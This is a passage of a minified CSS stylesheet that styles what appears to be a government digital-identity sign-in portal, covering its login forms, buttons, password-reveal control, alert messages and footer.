.std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap .digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth .display:first-of-type{font-size:24px;font-size:1.5rem;margin-bottom:20px;margin-bottom:1.25rem;line-height:1.25}.wrapper-mapwap h2:first-of-type::first-line ,.wrapper-mapwap .display:first-of-type::first-line ,#inner-content h2:first-of-type::first-line ,#inner-content .display:first-of-type::first-line ,.unauth h2:first-of-type::first-line ,.unauth .display:first-of-type::first-line {line-height:1.33333}.secondary .wrapper-mapwap h2:first-of-type,.secondary .wrapper-mapwap .display:first-of-type,.secondary #inner-content h2:first-of-type,.secondary #inner-content .display:first-of-type,.secondary .unauth h2:first-of-type,.secondary .unauth .display:first-of-type{margin-top:36px;margin-top:2.25rem;margin-bottom:12px;margin-bottom:.75rem}.wrapper-mapwap a.button-back::before,#inner-content a.button-back::before,.unauth a.button-back::before{top:-1.8px;top:-0.1125rem;left:-20px;left:-1.25rem;background-size:12px;background-size:.75rem;width:12px;width:.75rem;background-image:url("../icons/blugov-left-chevron-dark.svg");right:unset}.wrapper-mapwap p.login-instruction-text,#inner-content p.login-instruction-text,.unauth p.login-instruction-text{margin-top:0;color:#333}.wrapper-mapwap .login-grid-container,#inner-content .login-grid-container,.unauth .login-grid-container{margin-top:65px;margin-top:4.0625rem}.wrapper-mapwap .login-grid-container .button-back,#inner-content .login-grid-container .button-back,.unauth .login-grid-container .button-back{margin-top:0;line-height:1.5}.wrapper-mapwap #mygov-login-form.alternative,#inner-content #mygov-login-form.alternative,.unauth #mygov-login-form.alternative{margin-left:0;margin-right:0}.wrapper-mapwap .help-info-button,.wrapper-mapwap .help-info,.wrapper-mapwap #inner-content .help-info,#inner-content .wrapper-mapwap .help-info,#inner-content .help-info-button,#inner-content .help-info,.unauth .help-info-button,.unauth #inner-content .help-info,#inner-content .unauth .help-info,.unauth .help-info{font-size:16px;font-size:1rem;font-weight:500;border:0;text-decoration:underline}.wrapper-mapwap .help-info-button::after,.wrapper-mapwap .help-info::after,.wrapper-mapwap #inner-content .help-info::after,#inner-content .wrapper-mapwap .help-info::after,#inner-content .help-info-button::after,#inner-content .help-info::after,.unauth .help-info-button::after,.unauth #inner-content .help-info::after,#inner-content .unauth .help-info::after,.unauth .help-info::after{width:16px;width:1rem;height:11px;height:.6875rem;right:-20px;right:-1.25rem;background-size:contain;background-position:center;bottom:0;top:0;margin:auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg")}.wrapper-mapwap .help-info-button[aria-expanded="true"]::after,.wrapper-mapwap [aria-expanded="true"].help-info::after,.wrapper-mapwap #inner-content [aria-expanded="true"].help-info::after,#inner-content .wrapper-mapwap [aria-expanded="true"].help-info::after,#inner-content .help-info-button[aria-expanded="true"]::after,#inner-content [aria-expanded="true"].help-info::after,.unauth .help-info-button[aria-expanded="true"]::after,.unauth #inner-content [aria-expanded="true"].help-info::after,#inner-content .unauth [aria-expanded="true"].help-info::after,.unauth [aria-expanded="true"].help-info::after{right:-20px;right:-1.25rem;top:0;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:10px 16px 16px;padding:.625rem 1rem 1rem;font-size:16px;font-size:1rem;margin-bottom:20px;margin-bottom:1.25rem;border-left-width:2px;border-left-width:.125rem;line-height:1.25;color:#101820;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg::first-line ,.wrapper-mapwap .error-msg::first-line ,#inner-content .success-msg::first-line ,#inner-content .error-msg::first-line ,.unauth .success-msg::first-line ,.unauth .error-msg::first-line {line-height:1.3125}.wrapper-mapwap .success-msg:before,.wrapper-mapwap .error-msg:before,#inner-content .success-msg:before,#inner-content .error-msg:before,.unauth .success-msg:before,.unauth .error-msg:before{width:24px;width:1.5rem;height:24px;height:1.5rem;top:29px;top:1.8125rem;left:-37px;left:-2.3125rem;background-size:contain;-webkit-transform:none;transform:none}.wrapper-mapwap .success-msg strong,.wrapper-mapwap .error-msg strong,#inner-content .success-msg strong,#inner-content .error-msg strong,.unauth .success-msg strong,.unauth .error-msg strong{margin-bottom:3px;margin-bottom:.1875rem}.wrapper-mapwap .success-msg *,.wrapper-mapwap .success-msg a,.wrapper-mapwap .success-msg a.anchor,.wrapper-mapwap .success-msg .error-msg-text *,.wrapper-mapwap .success-msg .error-msg-text a,.wrapper-mapwap .success-msg .error-msg-text a.anchor,.wrapper-mapwap .success-msg .success-msg-text *,.wrapper-mapwap .success-msg .success-msg-text a,.wrapper-mapwap .success-msg .success-msg-text a.anchor,.wrapper-mapwap .error-msg *,.wrapper-mapwap .error-msg a,.wrapper-mapwap .error-msg a.anchor,.wrapper-mapwap .error-msg .error-msg-text *,.wrapper-mapwap .error-msg .error-msg-text a,.wrapper-mapwap .error-msg .error-msg-text a.anchor,.wrapper-mapwap .error-msg .success-msg-text *,.wrapper-mapwap .error-msg .success-msg-text a,.wrapper-mapwap .error-msg .success-msg-text a.anchor,#inner-content .success-msg *,#inner-content .success-msg a,#inner-content .success-msg a.anchor,#inner-content .success-msg .error-msg-text *,#inner-content .success-msg .error-msg-text a,#inner-content .success-msg .error-msg-text a.anchor,#inner-content .success-msg .success-msg-text *,#inner-content .success-msg .success-msg-text a,#inner-content .success-msg .success-msg-text a.anchor,#inner-content .error-msg *,#inner-content .error-msg a,#inner-content .error-msg a.anchor,#inner-content .error-msg .error-msg-text *,#inner-content .error-msg .error-msg-text a,#inner-content .error-msg .error-msg-text a.anchor,#inner-content .error-msg .success-msg-text *,#inner-content .error-msg .success-msg-text a,#inner-content .error-msg .success-msg-text a.anchor,.unauth .success-msg *,.unauth .success-msg a,.unauth .success-msg a.anchor,.unauth .success-msg .error-msg-text *,.unauth .success-msg .error-msg-text a,.unauth .success-msg .error-msg-text a.anchor,.unauth .success-msg .success-msg-text *,.unauth .success-msg .success-msg-text a,.unauth .success-msg .success-msg-text a.anchor,.unauth .error-msg *,.unauth .error-msg a,.unauth .error-msg a.anchor,.unauth .error-msg .error-msg-text *,.unauth .error-msg .error-msg-text a,.unauth .error-msg .error-msg-text a.anchor,.unauth .error-msg .success-msg-text *,.unauth .error-msg .success-msg-text a,.unauth .error-msg .success-msg-text a.anchor{line-height:inherit;font-size:inherit}.wrapper-mapwap .success-msg .error-msg-text,.wrapper-mapwap .success-msg .success-msg-text,.wrapper-mapwap .error-msg .error-msg-text,.wrapper-mapwap .error-msg .success-msg-text,#inner-content .success-msg .error-msg-text,#inner-content .success-msg .success-msg-text,#inner-content .error-msg .error-msg-text,#inner-content .error-msg .success-msg-text,.unauth .success-msg .error-msg-text,.unauth .success-msg .success-msg-text,.unauth .error-msg .error-msg-text,.unauth .error-msg .success-msg-text{-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .error-msg-text>span>strong,.wrapper-mapwap .success-msg .success-msg-text>span>strong,.wrapper-mapwap .error-msg .error-msg-text>span>strong,.wrapper-mapwap .error-msg .success-msg-text>span>strong,#inner-content .success-msg .error-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,#inner-content .error-msg .success-msg-text>span>strong,.unauth .success-msg .error-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong,.unauth .error-msg .success-msg-text>span>strong{padding:8px 16px 7px;padding:.5rem 1rem .4375rem;margin-left:-16px;margin-left:-1rem;margin-right:-16px;margin-right:-1rem;margin-top:-10px;margin-top:-0.625rem;margin-bottom:10px;margin-bottom:.625rem;font-size:15px;font-size:.9375rem;min-height:34px;min-height:2.125rem;font-weight:500;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg .error-msg-text>span>strong:before,.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,.wrapper-mapwap .error-msg .success-msg-text>span>strong:before,#inner-content .success-msg .error-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .success-msg-text>span>strong:before,.unauth .success-msg .error-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .success-msg-text>span>strong:before{width:16px;width:1rem;height:16px;height:1rem;margin-right:6px;margin-right:.375rem;content:"";display:block;background-repeat:no-repeat;background-position:center;background-size:contain}.wrapper-mapwap .success-msg .error-msg-text>span>strong+br,.wrapper-mapwap .success-msg .success-msg-text>span>strong+br,.wrapper-mapwap .error-msg .error-msg-text>span>strong+br,.wrapper-mapwap .error-msg .success-msg-text>span>strong+br,#inner-content .success-msg .error-msg-text>span>strong+br,#inner-content .success-msg .success-msg-text>span>strong+br,#inner-content .error-msg .error-msg-text>span>strong+br,#inner-content .error-msg .success-msg-text>span>strong+br,.unauth .success-msg .error-msg-text>span>strong+br,.unauth .success-msg .success-msg-text>span>strong+br,.unauth .error-msg .error-msg-text>span>strong+br,.unauth .error-msg .success-msg-text>span>strong+br{display:none}}@media screen and (min-width:768px){.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:14px 27px;padding:.875rem 1.6875rem;border-left-width:53px;border-left-width:3.3125rem;min-height:97px;min-height:6.0625rem;margin-bottom:37px;margin-bottom:2.3125rem}}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .success-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong{background-color:#1a9f50}.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before{background-image:url("../icons/mobile-success-icon.svg")}}@media screen and (max-width:767px){.wrapper-mapwap .error-msg .error-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong{background-color:#dc3548}.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before{background-image:url("../icons/mobile-error-icon.svg")}}.wrapper-mapwap #security-codes-info,#inner-content 